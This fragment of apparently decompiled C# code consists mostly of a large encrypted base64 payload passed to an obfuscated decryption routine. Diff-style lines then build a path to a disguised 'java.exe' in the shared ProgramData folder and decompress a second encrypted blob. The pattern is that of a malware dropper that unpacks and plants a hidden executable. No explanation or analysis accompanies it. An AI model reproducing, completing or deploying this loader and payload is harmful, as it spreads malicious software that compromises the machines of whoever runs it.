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", "Zx2s3CYm89Ego5P", "Hs5x2T4KqXc93CkSm68Py", "SHA1", 2, "r6M4Pef3J9LyBs72", 128)); - string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\java.exe"; - byte[] numArray = SevenZipHelper.Decompress(Driver.Dd2q9SCt46WnM("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